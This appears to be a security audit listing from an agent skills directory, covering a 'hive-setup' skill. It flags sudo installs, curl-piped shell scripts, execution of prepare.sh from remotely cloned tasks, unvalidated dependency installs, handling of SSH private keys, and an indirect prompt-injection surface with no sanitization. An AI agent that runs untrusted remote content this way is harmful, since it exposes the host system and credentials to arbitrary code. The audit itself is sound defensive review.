The Agent Skills Directory

[COMMAND_EXECUTION]: Uses sudo apt-get to install system-wide Python packages on Linux, which requires administrative privileges and grants the agent elevated permissions over the host system.
[REMOTE_CODE_EXECUTION]: Downloads and executes the uv installation script directly from https://astral.sh/uv/install.sh via a shell pipe (curl | sh).
[REMOTE_CODE_EXECUTION]: Executes a shell script named prepare.sh using bash after cloning a task from a remote hive server. This facilitates the execution of arbitrary code provided by the remote task repository.
[COMMAND_EXECUTION]: Automatically installs Python dependencies from requirements.txt files found within cloned task directories using pip or uv without prior validation.
[DATA_EXFILTRATION]: Accesses and manages sensitive SSH private keys located in ~/.hive/keys/, used for authenticating with Git repositories during the task cloning process.
[PROMPT_INJECTION]: The skill exhibits an indirect prompt injection surface by ingesting untrusted data from a remote task server and subsequently executing scripts or installing packages from that data.
Ingestion points: hive task clone command (SKILL.md)
Boundary markers: Absent
Capability inventory: bash prepare.sh, uv pip install, and hive auth commands (SKILL.md)
Sanitization: No sanitization or verification of the cloned content is performed before execution.

hive-setup